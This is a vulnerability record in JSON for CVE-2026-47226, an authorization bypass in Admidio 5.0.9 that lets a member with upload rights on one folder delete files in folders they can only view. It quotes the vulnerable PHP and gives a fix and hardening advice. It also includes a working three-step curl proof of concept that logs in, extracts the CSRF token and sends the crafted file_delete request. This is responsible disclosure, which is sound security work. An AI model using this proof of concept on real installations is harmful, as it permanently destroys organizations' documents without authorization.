{"id":"CVE-2026-47226","aliases":["GHSA-qc4c-hrmc-4f78"],"url":"https://o3.security/vulnerability/CVE-2026-47226","summary":"Admidio: Authorization bypass in file_delete enables cross-folder file removal by authenticated users without delete privileges","details":"### Summary\n\nAn authenticated Admidio member with upload rights on **any one folder** can permanently delete files from folders where they have only view access. The authorization check at the top of `modules/documents-files.php` evaluates upload rights against the attacker-supplied `folder_uuid` URL parameter — not the file's actual parent folder. The `file_delete` handler then only verifies view rights on the file's real location, never upload rights. By passing a folder they legitimately own in `folder_uuid` while targeting a file in a restricted folder via `file_uuid`, an attacker bypasses the upload-right check entirely and permanently deletes the file.\n\nThis is an **incomplete fix** of [GHSA-rmpj-3x5m-9m5f](https://github.com/Admidio/admidio/security/advisories/GHSA-rmpj-3x5m-9m5f), which was patched in v5.0.7 but remains exploitable in v5.0.9.\n\n**Affected Version:** Admidio v5.0.9 \n\n---\n\n### Details\n\n**Root Cause File:** `modules/documents-files.php`\n\n**Issue 1 — `folder_uuid` is not required for `file_delete` mode (line 67):**\n\n```php\n$getFolderUUID = admFuncVariableIsValid($_GET, 'folder_uuid', 'uuid', array(\n    'requireValue' => !in_array($getMode, array('list', 'file_delete', 'download'))\n));\n```\n\n**Issue 2 — The top-level upload-right check loads the folder from the attacker-controlled URL parameter, not the file's actual parent folder (lines 79–88):**\n\n```php\nif ($getMode != 'list' && $getMode != 'download') {\n    $folder = new Folder($gDb);\n    $folder->getFolderForDownload($getFolderUUID);   // uses attacker-supplied UUID\n    if (!$folder->hasUploadRight()) {\n        $gMessage->show($gL10n->get('SYS_NO_RIGHTS'));\n    }\n}\n```\n\n**Issue 3 — The `file_delete` handler only checks view rights via `getFileForDownload()`. Upload rights on the file's actual folder are never verified (lines 165–178):**\n\n```php\ncase 'file_delete':\n    SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);\n    $file = new File($gDb);\n    $file->getFileForDownload($getFileUUID);   // view-only check, not upload\n    $file->delete();\n    echo json_encode(array('status' => 'success'));\n    break;\n```\n\n`File::getFileForDownload()` in `src/Documents/Entity/File.php` checks only view-role membership — it never verifies upload rights.\n\n---\n\n### Attack Scenario\n\n1. The organization has two folders: `PrivateFolder` (role A: view-only) and `UploadFolder` (role A: upload + view).\n2. Attacker is a member of role A — they have legitimate upload access to `UploadFolder` only.\n3. Attacker enumerates a file UUID in `PrivateFolder` using `file_list` mode, which is accessible to anyone with view rights.\n4. Attacker sends a `file_delete` POST using `UploadFolder`'s UUID in `folder_uuid` and the `PrivateFolder` file UUID in `file_uuid`.\n5. Server checks upload rights against `UploadFolder` → **passes**.\n6. Server deletes the file from `PrivateFolder` **without ever checking upload rights there**.\n\n**Prerequisites:**\n\n- Authenticated Admidio member account\n- Upload rights on at least one folder (legitimately assigned)\n- View rights on the target folder (sufficient to enumerate file UUIDs via `file_list` mode)\n- Knowledge of a target file UUID (obtainable from the folder listing)\n\n---\n\n### PoC\n\n**Step 1 — Authenticate and obtain login CSRF token:**\n\n```bash\ncurl -c /tmp/admidio_cookies.txt http://TARGET/system/login.php > /tmp/login.html\n\nLOGIN_CSRF=$(grep -o 'name=\"adm_csrf_token\"[^>]*value=\"[^\"]*\"' /tmp/login.html \\\n  | grep -o 'value=\"[^\"]*\"' | cut -d'\"' -f2)\n\ncurl -b /tmp/admidio_cookies.txt -c /tmp/admidio_cookies.txt \\\n  -X POST \"http://TARGET/system/login.php?mode=check\" \\\n  -d \"usr_login_name=MEMBER&usr_password=PASSWORD&adm_csrf_token=${LOGIN_CSRF}\"\n```\n\n**Step 2 — Extract authenticated session CSRF token:**\n\n```bash\nAUTH_CSRF=$(curl -s -b /tmp/admidio_cookies.txt \\\n  \"http://TARGET/system/file_upload.php?module=documents_files&uuid=UPLOAD_FOLDER_UUID\" \\\n  | grep -oP 'name:\\s*\"adm_csrf_token\",\\s*value:\\s*\"\\K[^\"]+')\n```\n\n**Step 3 — Delete file from restricted folder using the upload folder UUID as bypass:**\n\n```bash\ncurl -b /tmp/admidio_cookies.txt \\\n  -X POST \"http://TARGET/modules/documents-files.php?mode=file_delete&file_uuid=PRIVATE_FILE_UUID&folder_uuid=UPLOAD_FOLDER_UUID\" \\\n  -d \"adm_csrf_token=${AUTH_CSRF}\"\n```\n\n**Expected response:** `{\"status\":\"success\"}`\n\n`testmember` holds upload rights **only** on `UploadFolder`. `secret2.txt` (UUID `93dc6280-...-bba7-...`) resided in `PrivateFolder` and was permanently deleted from both the database and filesystem.\n\n---\n\n### Impact\n\nAn authenticated Admidio member with legitimate upload access to **any one folder** can permanently delete files from **any other folder** to which they have view access — without authorization. In organizations where upload rights are delegated by role (e.g., team leads upload to their own folder, view-only everywhere else), this enables cross-folder sabotage and permanent destruction of shared documents.\n\n**Business Impact:** Data loss, destruction of shared organizational documents, and compliance violations in organizations relying on Admidio for document management.\n\n---\n\n### Remediation\n\nIn the `file_delete` handler, after loading the file via `getFileForDownload()`, verify upload rights against the file's **actual parent folder** — not the URL-supplied `folder_uuid`:\n\n```php\ncase 'file_delete':\n    SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);\n    $file = new File($gDb);\n    $file->getFileForDownload($getFileUUID);\n    // Verify upload rights on the file's actual parent folder\n    $parentFolder = new Folder($gDb);\n    $parentFolder->readDataById((int)$file->getValue('fil_fol_id'));\n    if (!$parentFolder->hasUploadRight()) {\n        $gMessage->show($gL10n->get('SYS_NO_RIGHTS'));\n    }\n    $file->delete();\n    echo json_encode(array('status' => 'success'));\n    break;\n```\n\n**Alternative fix:** Remove the top-level `folder_uuid` check for `file_delete` entirely and move a proper upload-rights verification into the `file_delete` case as the sole authority for authorization.\n\n**Defense-in-depth recommendations:**\n\n- Audit all other modes in `documents-files.php` (e.g., `folder_delete`, `file_rename`) for the same pattern of trusting `folder_uuid` from the URL instead of the resource's actual parent.\n- Add an integration test asserting a user with upload rights on Folder A cannot perform destructive operations on files in Folder B.\n- Consider centralizing authorization in a single helper (e.g., `assertUploadRightOnFile($fileUuid)`) to eliminate the URL-parameter trust-boundary issue across the codebase.\n\n---\n\n### Credits\n\n- Researcher: Vishal Kumar B - https://github.com/VishaaLlKumaaRr - Security Researcher & Penetration Tester\n- Disclosure: Responsible disclosure to Admidio maintainers\n\n---\n\n### References\n\n- [GHSA-rmpj-3x5m-9m5f](https://github.com/Admidio/admidio/security/advisories/GHSA-rmpj-3x5m-9m5f) — Prior incomplete fix, patched in v5.0.7\n- [CWE-862: Missing Authorization](https://cwe.mitre.org/data/definitions/862.html)\n- [CWE-639: Authorization Bypass Through User-Controlled Key](https://cwe.mitre.org/data/definitions/639.html)","published":"2026-08-12T12:51:24.034Z","modified":"2026-09-11T03:30:34.642126849Z","cvss":{"score":6.5,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N"},"epss":{"score":0.00203,"percentile":0.10209,"asOf":"2026-09-03"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"admidio/admidio","fixedVersion":"5.0.10"}],"fix":null,"references":[{"type":"ADVISORY","url":"https://github.com/Admidio/admidio/security/advisories/GHSA-qc4c-hrmc-4f78"},{"type":"ADVISORY","url":"https://github.com/Admidio/admidio/security/advisories/GHSA-rmpj-3x5m-9m5f"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/47xxx/CVE-2026-47226.json"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-47226"},{"type":"PACKAGE","url":"https://github.com/Admidio/admidio"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-09-11T03:30:34.642126849Z"}}